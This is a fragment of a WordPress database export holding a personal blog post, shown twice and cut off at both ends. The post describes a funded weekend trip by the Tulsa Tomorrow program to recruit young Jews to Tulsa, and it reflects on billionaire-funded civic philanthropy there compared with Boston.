-->\n\n<!-- wp:paragraph -->\n<p>Tulsa Tomorrow is partially funded by George Kaiser, but it’s mostly funded by the rest of Tulsa’s Jewish community, with the majority coming from a local family who made their fortune as a fabric distributor. The scion of that family, Dave, was, not coincidentally, one of our main hosts for the weekend.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The pitch that Dave and his fellow Tulsan Jews made to us was simple. In Tulsa, your dreams can come true.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, they didn’t pitch it quite like that. Instead, they put it something like this: Tulsa itself has a few natural advantages. It has cheap housing (e.g. $350k for a 4 bed, 2 bathroom house 5 minutes from downtown), mostly warm weather in the winters, and zero traffic. Also, recently, Tulsa itself has become a cute, fun city, thanks in large part to the largesse of George Kaiser<a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-1-112876846\">1</a>. Over the course of our visit, we were shown museums, a Tiki bar, a hip brunch place, and a dueling piano bar. We were also told that we had just missed a Journey concert, and that Lizzo was coming to Tulsa shortly on her tour.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s why to come to Tulsa more generally. More importantly, they wanted to pitch us on why to come to Tulsa as a Jew. Their argument here was basically that the Tulsan Jewish community is insanely well-resourced and organized. If you move here, they can pretty much guarantee you a nice job at a Jewish nonprofit and a social event every week at least. That’s not to mention all the social clubs and volunteer opportunities that are available through those nonprofits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, if your ambitions stretch farther than that, that can also be accommodated. Over the course of the weekend, I heard from a bunch of people who had taken advantage of just that. To take three:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Two small-time film producers from LA who had used their Tulsa Tomorrow connections to get meetings with the Oklahoma Legislature and convince them to pass tax credits for films in Oklahoma.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A startup operator who had gotten George Kaiser to be the sole LP for a seed/Series A venture capital firm that relocates their portfolio companies to Tulsa<a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-2-112876846\">2</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. A Teach For America alumnus who got funding (from an individual with the initials GK) to provide afterschool programs for at-risk youth</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And they pitched us hard on this fulfillment of our dreams, too. I got introduced to the VC (who, unsurprisingly, did not invest in biotech). My fellow visitor, a Brooklyn liberal whose dream was to build an “urban kibbutz” in Brooklyn, was introduced to someone doing that exact thing in Tulsa. Even partners were included. One of the girls in my group brought along her black, formerly Pentecostal (and not at all Jewish) girlfriend who was interested in pursuing a career in cybersecurity. Sure enough, her girlfriend got pitched on exactly how they could help her switch her career.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe08a0f97-397a-495c-968c-ee8bf47f44d2_1024x683.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe08a0f97-397a-495c-968c-ee8bf47f44d2_1024x683.jpeg\" alt=\"Let\'s Play - Children\'s Museums in Oklahoma - MetroFamily Magazine\" title=\"Let\'s Play - Children\'s Museums in Oklahoma - MetroFamily Magazine\"/></a><figcaption class=\"wp-element-caption\">This is from the children’s museum, which costs $10 per person. The blue structure is an “oil derrick”. The tubes all lead to the oil derrick. Some of the tubes are vaccuums, some are powered by foot pedals, and some are powered by weights. Once kids put enough balls into the tubes into the oil derrick, it erupts, spilling balls everywhere and starting the process over again. It’s actually great watching the kids learn to cooperate to work the tubes. They form little receiving lines to get the balls into the tubes.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If that last part surprises you, it did for me, too. When I’ve been pitched on Jewish social communities before, they usually lean hard into the Jewish part. Non-Jewish partners are accepted reluctantly, if at all<a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-3-112876846\">3</a>. This was not the case for Tulsa Tomorrow. On my trip was a gay couple, an interfaith lesbian couple, and a traditional Israeli family with 3 kids. They were all treated equally well, and a nanny was even provided throughout the weekend for the kids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, much to my surprise, Tulsa Tomorrow actually ended up being quite woke, which I think reflects Tulsa and the Tulsa Community Foundation themselves. I guess, being in such a Republican state, they feel the need to distinguish themselves as being the opposite.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, we visited a Reform synagogue and a Conservative synagogue while we were there. The Reform synagogue’s rabbis are a white guy who rides a motorcycle&nbsp;<a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-4-112876846\">4</a>&nbsp;and a woman in a committed relationship with a non-binary person. The Conservative rabbi, meanwhile, specifically told us how the congregation went out of their way to try to provide women with safe abortion options in the wake of the ending of Roe v. Wade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re wondering how this relentless talk about social justice, equality/equity, and land acknowledgements fits in with an inherently exclusionary mission (i.e. give special resources to Jews in Tulsa), the answer is uneasily. There’s no standard of social justice that can justify a guaranteed cushy jobs program for Jews who move to Tulsa<a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-5-112876846\">5</a>, especially when it’s largely funded by the same unaccountable billionaires who have wrought huge physical and economic changes across Tulsa. At the end of the day, the only real justification is that people spend their money how they want, and a lot of Jewish people want to spend their money helping other Jews.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of this trip, I decided not to move to Tulsa. Well, I decided that before this trip too, but it was, honestly, a tougher choice than expected. I like the Boston area despite the housing shortage, and I get along better with Bostonians (and especially Cambridgians) than with Tulsans. More importantly, in case you can’t tell, I do feel fundamentally uncomfortable with programs that unfairly benefit one group of people, even if I’m one of the chosen. Still the fundamental message of “Move to Tulsa and you are guaranteed a job, a nice house, a fun social life, and assistance fulfilling whichever dreams you have” is a hard one to pass up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I certainly understand, however, people who would move to Tulsa with this. I think it’s an appealing offer for literally anyone struggling to make it in a big city, and I think that’s a way bigger category than people realize.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Like, that category includes the family I met, who are actually Bostonians. They were doing fine economically (the wife works as a product manager at Google) but struggling socially, as all their friends kept moving away. Tulsa’s promise of a stable, supportive social life was very appealing for them.&nbsp; That category also includes the film producer couple, who were living in LA in a two bedroom house with two kids, and moved to Tulsa and got a five bedroom house 5 minutes away from downtown for the same amount. Or the Brooklyn liberal, who didn’t have the funds to start her dream urban kibbutz in NYC. Or a musician I met, who went from scrounging together paying gigs in Austin to getting a job as a youth leader/singalong guy at a Jewish organization in Tulsa, giving him the financial stability to be able to pursue non-paying music gigs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I’m not trying to sell you on Tulsa (although, if you are sold, I can try to connect you with the right people). Instead, I think the really interesting thing is this model where very rich people take direct action to improve their cities. I think this is easier in a place like Tulsa, which doesn’t have a particularly complex city government or planning process, sometimes for better (e.g. when it comes to zoning and construction) and sometimes for worse (e.g. when I tried to report a stray dog that was hanging out downtown and literally nobody cared).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a place like this, a wealthy guy can pretty much singlehandedly build a giant park, launch a coworking space with attached business accelerator, build a bunch of apartments and museums, and do literally anything else to turn his city into what he wants it to be all in a span of a few decades. Meanwhile, I look at my own city’s foundation, the “Boston Foundation”, and I see&nbsp;<a href=\"https://www.tbf.org/nonprofits/grant-making-initiatives/health-starts-at-home\">their report</a>&nbsp;on trying to alleviate the insane costs of housing here:<br><br>“Health Starts at Home was launched in 2014, with an 18-month development and planning phase.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The foundation received 12 planning grant applications representing collaborations among more than 50 organizations. Following rigorous review by a 10-person panel of both internal and external reviewers, four nine-month planning grants of $40,000 were awarded…In May 2016, the Boston Foundation selected four partnerships from among those invited to submit a proposal to receive three years of support ($200,000 per year) to implement their program models and interventions, and to participate in an overarching evaluation of the initiative.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is their flagship program! This is literally the only thing they link to on&nbsp;<a href=\"https://www.tbf.org/what-we-do/strategic-focus-areas\">their website</a>&nbsp;when it comes to both their “Health and Wellness” and “Neighborhoods and Housing” focus areas, which are literally ⅖ of their focus areas! 18 months and 10 people to choose who receives $40k! Two years to choose who receives $600k! That’s a total of $640k donated!&nbsp;<a href=\"https://www.zillow.com/homedetails/51-Revere-St-APT-2-Boston-MA-02114/59173803_zpid/\">A one bed, one bath in my Boston neighborhood goes for $855k</a>!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ok, I’m done. Sorry for the yelling. My point is that, in comparison, to get anything public done in Boston seems to somehow require way more planning and way more people for way less impact. I remember reading a great article in the New Yorker about how&nbsp;<a href=\"https://www.newyorker.com/magazine/2014/05/19/schooled\">Mark Zuckerberg’s much lauded $100 million donation to Newark public schools vanished without a trace of impact</a>. I can imagine the exact same thing happening in Boston. The donation is announced, a multiyear planning project gets underway, the city comes in, the consultants come in, and somehow the money just disappears.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The same thing doesn’t seem to have happened in Tulsa. The impact of the billions spent are visible all around. While I was walking around the cute downtown, everyone I spoke to said that this was the creepy abandoned warehouse district 20 years ago. The wealthy people of Tulsa changed that. Now they’re trying to change the demographics of Tulsa as well. I sincerely wish them the best of luck, and I wish I knew some way that this could be replicated for the places I care about as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-anchor-1-112876846\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although I was also impressed when we heard a brief talk from Tulsa’s economic development director, who seemed to have interesting ideas about how to continue revitalizing Tulsa’s downtown. I get the sense that Tulsa’s government has the good sense to work with GKFF, or at least to stay out of their way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-anchor-2-112876846\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a very weird business model, in my opinion, and I really doubt their ability to return on capital given the limitation that they could only invest in companies who would agree to move to Tulsa. But that’s probably not the point. On a side note, their offices were like a Hollywood mockup of a VC’s office. They had an open workspace, a stocked fridge, kombucha and cold brew on tap, a fake bookshelf that led to a bar/lounge area, and a conference room behind fake loading dock doors. I had a hard time explaining to my fellow tripgoers how strange it was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-anchor-3-112876846\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was one of the deciding factors in me cutting ties with Chabad in college. I always found them a bit creepy, but I got very frustrated hearing the rabbi push a classmate of mine to break up with his non-Jewish girlfriend with the argument that there’s no way it could end in marriage. I told the rabbi that I was a product of an interfaith marriage, and he sputtered a bit but held his ground. In the eyes of conservative Judaism, I’m basically a bastard, which makes me a bit less well-inclined towards them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-anchor-4-112876846\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Riding a motorcycle isn’t woke; I just thought it was funny that he pointed it out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-anchor-5-112876846\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you think I’m exaggerating, I’m not. It seemed like ¾ of the Jewish people who moved to Tulsa through this program have a job at Jewish nonprofit. This leads to very strange overstaffing like a Holocaust museum on the second floor of the Jewish Federation that has two full-time curators and a Jewish elementary school that has 38 children and 11 full-time staffers. This isn’t to mention the bewildering array of George Kaiser-associated nonprofits that employ young Jews (and non-Jews, of course) in Tulsa. I swear, 8 year old Tulsans must have like 20 different afterschool programs to choose from.</p>\n<!-- /wp:paragraph -->','Something interesting is happening in Tulsa','','publish','closed','closed','','something-interesting-is-happening-in-tulsa','','','2024-06-12 15:47:58','2024-06-12 15:47:58','',0,'https://trevorklee.com/?page_id=391',0,'page','',0),
(392,1,'2024-06-12 15:47:58','2024-06-12 15:47:58','<!-- wp:paragraph -->\n<p><em>Edit: the name of the program is&nbsp;<a href=\"https://www.tulsatomorrow.com/\">Tulsa Tomorrow</a>. Click on the link if you’re Jewish and you want a free trip to Tulsa. Tulsa Tomorrow would like me to let you all know that they are first and foremost trying to build a stable and supportive community, so please keep that in mind when contacting them. Also, they cannot sponsor you for a visa.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This past weekend, I went on what was essentially a Birthright Trip to Tulsa, Oklahoma. My plane flight, accommodations, and food were all paid for with the explicit intention of convincing me, as a Jewish person, to move to Tulsa. This was an odd, fascinating experience, and I’m breaking my usual convention of not writing about my personal life because I think it’s interesting to share.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I signed up for this trip, I had zero background for it. I saw a Facebook ad advertising free trips to Tulsa for young Jews and signed up because that seemed like an interesting thing to do. Even when I got to Tulsa, I still had very little context as to why I was there. I had to piece it together over the course of the weekend. To save you from the same detective work, I’ll just present it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tulsa is in a weird spot. It’s a little over 100 years old, and has always been a frontier town. Its fortunes have waxed and waned with the oil and gas industry, which alternately produces millionaires, billionaires, and bankruptcies. The town itself was basically stolen from the Indians a bit over a hundred years ago, laid out on a grid, and then developed in fits and spurts as city tax revenues swelled and declined with its main industry. This means that Tulsa has some beautiful art deco buildings, a strange layout including massive parking lots in the middle of downtown and full on suburbs 5 minutes from the city center, and a still unsettled sense of place.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the 80s and 90s, Tulsa experienced a decline. It got gross and dangerous. Starting in the late 90s, George Kaiser, a local billionaire (oil and gas, naturally, and then banking), decided to do something about it. He established the George Kaiser Family Foundation and then the Tulsa Community Foundation to house the assets of it. The Tulsa Community Foundation, with GKKF’s assets, rapidly grew into the second largest community foundation in the nation, behind only the Silicon Valley Community Foundation. It has over $4 billion in assets, and is almost completely unaccountable to anyone except the people who donate to it (namely, Tulsan billionaires). Because of its structure, it doesn’t even have the normal nonprofit requirements of donating 5% of its assets every year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the single largest force in Tulsan civic life is an opaque, unaccountable community foundation funded mostly by George Kaiser and partially by Lynn Schusterman, who are two elderly Jewish billionaires. And what’s really weird is that this is happening in an otherwise normal, Bible Belt city of 1 million people (and a Jewish population of roughly 2000) with a median household income of $60k. Compare this to Silicon Valley, which has a median household income of $140k and no shortage of billionaires, and you’ll understand the Tulsa Community Foundation’s outsized impact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By all reports, this has been a very positive relationship. The Tulsa Community Foundation (or, more specifically, the George Kaiser Family Foundation and, to a lesser extent, the Charles and Lynn Schusterman Foundation, as TCF is just a house for these family foundations) have spent enormous amounts of money trying to make Tulsa a better place to live. They’ve built multiple beautiful parks (including one incredible one called the Gathering Place), a children’s museum, revitalized downtown, launched scores of programs to improve the lives of Tulsa’s underprivileged children, created Tulsa Remote (which offers $10k and relocation assistance for any remote worker to move to Tulsa for one year), and funded a bunch of different business assistance programs. And all of this is just off the top of my head. I’m sure there’s a lot I don’t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb002f31a-4345-4202-a815-5cefcab47662_1200x800.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb002f31a-4345-4202-a815-5cefcab47662_1200x800.jpeg\" alt=\"Tulsa\'s Gathering Place aims for reconciliation\" title=\"Tulsa\'s Gathering Place aims for reconciliation\"/></a><figcaption class=\"wp-element-caption\">This is the playground section of the Gathering Place. It is a completely free park, including free kayak rentals.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The tide that George Kaiser is beating back is, of course, Tulsa’s natural decay as a midwest, Bible Belt city. Throughout the 90s and 2000s, every young person who could afford to leave Tulsa did so. This included Tulsa’s Jewish population, which declined from about 5000 in the 90s to less than half that number today.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s where my weekend comes in. I visited Tulsa through Tulsa Tomorrow, a program that flies out young Jews to Tulsa for a weekend to try to get them to live there. So far, from their own numbers, they’ve flown out about 150 Jews over the last 6 years and about 70-80 have moved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tulsa Tomorrow is partially funded by George Kaiser, but it’s mostly funded by the rest of Tulsa’s Jewish community, with the majority coming from a local family who made their fortune as a fabric distributor. The scion of that family, Dave, was, not coincidentally, one of our main hosts for the weekend.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The pitch that Dave and his fellow Tulsan Jews made to us was simple. In Tulsa, your dreams can come true.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, they didn’t pitch it quite like that. Instead, they put it something like this: Tulsa itself has a few natural advantages. It has cheap housing (e.g. $350k for a 4 bed, 2 bathroom house 5 minutes from downtown), mostly warm weather in the winters, and zero traffic. Also, recently, Tulsa itself has become a cute, fun city, thanks in large part to the largesse of George Kaiser<a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-1-112876846\">1</a>. Over the course of our visit, we were shown museums, a Tiki bar, a hip brunch place, and a dueling piano bar. We were also told that we had just missed a Journey concert, and that Lizzo was coming to Tulsa shortly on her tour.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s why to come to Tulsa more generally. More importantly, they wanted to pitch us on why to come to Tulsa as a Jew. Their argument here was basically that the Tulsan Jewish community is insanely well-resourced and organized. If you move here, they can pretty much guarantee you a nice job at a Jewish nonprofit and a social event every week at least. That’s not to mention all the social clubs and volunteer opportunities that are available through those nonprofits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, if your ambitions stretch farther than that, that can also be accommodated. Over the course of the weekend, I heard from a bunch of people who had taken advantage of just that. To take three:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Two small-time film producers from LA who had used their Tulsa Tomorrow connections to get meetings with the Oklahoma Legislature and convince them to pass tax credits for films in Oklahoma.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A startup operator who had gotten George Kaiser to be the sole LP for a seed/Series A venture capital firm that relocates their portfolio companies to Tulsa<a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-2-112876846\">2</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. A Teach For America alumnus who got funding (from an individual with the initials GK) to provide afterschool programs for at-risk youth</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And they pitched us hard on this fulfillment of our dreams, too. I got introduced to the VC (who, unsurprisingly, did not invest in biotech). My fellow visitor, a Brooklyn liberal whose dream was to build an “urban kibbutz” in Brooklyn, was introduced to someone doing that exact thing in Tulsa. Even partners were included. One of the girls in my group brought along her black, formerly Pentecostal (and not at all Jewish) girlfriend who was interested in pursuing a career in cybersecurity. Sure enough, her girlfriend got pitched on exactly how they could help her switch her career.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe08a0f97-397a-495c-968c-ee8bf47f44d2_1024x683.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe08a0f97-397a-495c-968c-ee8bf47f44d2_1024x683.jpeg\" alt=\"Let\'s Play - Children\'s Museums in Oklahoma - MetroFamily Magazine\" title=\"Let\'s Play - Children\'s Museums in Oklahoma - MetroFamily Magazine\"/></a><figcaption class=\"wp-element-caption\">This is from the children’s museum, which costs $10 per person. The blue structure is an “oil derrick”. The tubes all lead to the oil derrick. Some of the tubes are vaccuums, some are powered by foot pedals, and some are powered by weights. Once kids put enough balls into the tubes into the oil derrick, it erupts, spilling balls everywhere and starting the process over again. It’s actually great watching the kids learn to cooperate to work the tubes. They form little receiving lines to get the balls into the tubes.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If that last part surprises you, it did for me, too. When I’ve been pitched on Jewish social communities before, they usually lean hard into the Jewish part. Non-Jewish partners are accepted reluctantly, if at all<a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-3-112876846\">3</a>. This was not the case for Tulsa Tomorrow. On my trip was a gay couple, an interfaith lesbian couple, and a traditional Israeli family with 3 kids. They were all treated equally well, and a nanny was even provided throughout the weekend for the kids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, much to my surprise, Tulsa Tomorrow actually ended up being quite woke, which I think reflects Tulsa and the Tulsa Community Foundation themselves. I guess, being in such a Republican state, they feel the need to distinguish themselves as being the opposite.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like, we visited a Reform synagogue and a Conservative synagogue while we were there. The Reform synagogue’s rabbis are a white guy who rides a motorcycle&nbsp;<a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-4-112876846\">4</a>&nbsp;and a woman in a committed relationship with a non-binary person. The Conservative rabbi, meanwhile, specifically told us how the congregation went out of their way to try to provide women with safe abortion options in the wake of the ending of Roe v. Wade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re wondering how this relentless talk about social justice, equality/equity, and land acknowledgements fits in with an inherently exclusionary mission (i.e. give special resources to Jews in Tulsa), the answer is uneasily. There’s no standard of social justice that can justify a guaranteed cushy jobs program for Jews who move to Tulsa<a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-5-112876846\">5</a>, especially when it’s largely funded by the same unaccountable billionaires who have wrought huge physical and economic changes across Tulsa. At the end of the day, the only real justification is that people spend their money how they want, and a lot of Jewish people want to spend their money helping other Jews.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of this trip, I decided not to move to Tulsa. Well, I decided that before this trip too, but it was, honestly, a tougher choice than expected. I like the Boston area despite the housing shortage, and I get along better with Bostonians (and especially Cambridgians) than with Tulsans. More importantly, in case you can’t tell, I do feel fundamentally uncomfortable with programs that unfairly benefit one group of people, even if I’m one of the chosen. Still the fundamental message of “Move to Tulsa and you are guaranteed a job, a nice house, a fun social life, and assistance fulfilling whichever dreams you have” is a hard one to pass up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I certainly understand, however, people who would move to Tulsa with this. I think it’s an appealing offer for literally anyone struggling to make it in a big city, and I think that’s a way bigger category than people realize.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Like, that category includes the family I met, who are actually Bostonians. They were doing fine economically (the wife works as a product manager at Google) but struggling socially, as all their friends kept moving away. Tulsa’s promise of a stable, supportive social life was very appealing for them.&nbsp; That category also includes the film producer couple, who were living in LA in a two bedroom house with two kids, and moved to Tulsa and got a five bedroom house 5 minutes away from downtown for the same amount. Or the Brooklyn liberal, who didn’t have the funds to start her dream urban kibbutz in NYC. Or a musician I met, who went from scrounging together paying gigs in Austin to getting a job as a youth leader/singalong guy at a Jewish organization in Tulsa, giving him the financial stability to be able to pursue non-paying music gigs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I’m not trying to sell you on Tulsa (although, if you are sold, I can try to connect you with the right people). Instead, I think the really interesting thing is this model where very rich people take direct action to improve their cities. I think this is easier in a place like Tulsa, which doesn’t have a particularly complex city government or planning process, sometimes for better (e.g. when it comes to zoning and construction) and sometimes for worse (e.g. when I tried to report a stray dog that was hanging out downtown and literally nobody cared).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a place like this, a wealthy guy can pretty much singlehandedly build a giant park, launch a coworking space with attached business accelerator, build a bunch of apartments and museums, and do literally anything else to turn his city into what he wants it to be all in a span of a few decades. Meanwhile, I look at my own city’s foundation, the “Boston Foundation”, and I see&nbsp;<a href=\"https://www.tbf.org/nonprofits/grant-making-initiatives/health-starts-at-home\">their report</a>&nbsp;on trying to alleviate the insane costs of housing here:<br><br>“Health Starts at Home was launched in 2014, with an 18-month development and planning phase.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The foundation received 12 planning grant applications representing collaborations among more than 50 organizations. Following rigorous review by a 10-person panel of both internal and external reviewers, four nine-month planning grants of $40,000 were awarded…In May 2016, the Boston Foundation selected four partnerships from among those invited to submit a proposal to receive three years of support ($200,000 per year) to implement their program models and interventions, and to participate in an overarching evaluation of the initiative.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is their flagship program! This is literally the only thing they link to on&nbsp;<a href=\"https://www.tbf.org/what-we-do/strategic-focus-areas\">their website</a>&nbsp;when it comes to both their “Health and Wellness” and “Neighborhoods and Housing” focus areas, which are literally ⅖ of their focus areas! 18 months and 10 people to choose who receives $40k! Two years to choose who receives $600k! That’s a total of $640k donated!&nbsp;<a href=\"https://www.zillow.com/homedetails/51-Revere-St-APT-2-Boston-MA-02114/59173803_zpid/\">A one bed, one bath in my Boston neighborhood goes for $855k</a>!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ok, I’m done. Sorry for the yelling. My point is that, in comparison, to get anything public done in Boston seems to somehow require way more planning and way more people for way less impact. I remember reading a great article in the New Yorker about how&nbsp;<a href=\"https://www.newyorker.com/magazine/2014/05/19/schooled\">Mark Zuckerberg’s much lauded $100 million donation to Newark public schools vanished without a trace of impact</a>. I can imagine the exact same thing happening in Boston. The donation is announced, a multiyear planning project gets underway, the city comes in, the consultants come in, and somehow the money just disappears.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The same thing doesn’t seem to have happened in Tulsa. The impact of the billions spent are visible all around. While I was walking around the cute downtown, everyone I spoke to said that this was the creepy abandoned warehouse district 20 years ago. The wealthy people of Tulsa changed that. Now they’re trying to change the demographics of Tulsa as well. I sincerely wish them the best of luck, and I wish I knew some way that this could be replicated for the places I care about as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-anchor-1-112876846\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although I was also impressed when we heard a brief talk from Tulsa’s economic development director, who seemed to have interesting ideas about how to continue revitalizing Tulsa’s downtown. I get the sense that Tulsa’s government has the good sense to work with GKFF, or at least to stay out of their way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-anchor-2-112876846\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a very weird business model, in my opinion, and I really doubt their ability to return on capital given the limitation that they could only invest in companies who would agree to move to Tulsa. But that’s probably not the point. On a side note, their offices were like a Hollywood mockup of a VC’s office. They had an open workspace, a stocked fridge, kombucha and cold brew on tap, a fake bookshelf that led to a bar/lounge area, and a conference room behind fake loading dock doors. I had a hard time explaining to my fellow tripgoers how strange it was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/something-interesting-is-happening#footnote-anchor-3-112876846\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was one of the deciding factors in me cutting ties with Chabad in college. I always found them a bit creepy, but I got very frustrated hearing the rabbi push a classmate of mine to break up with his non-Jewish girlfriend with the argument that there’s no way it could end in marriage. I told the rabbi that I was a product of an 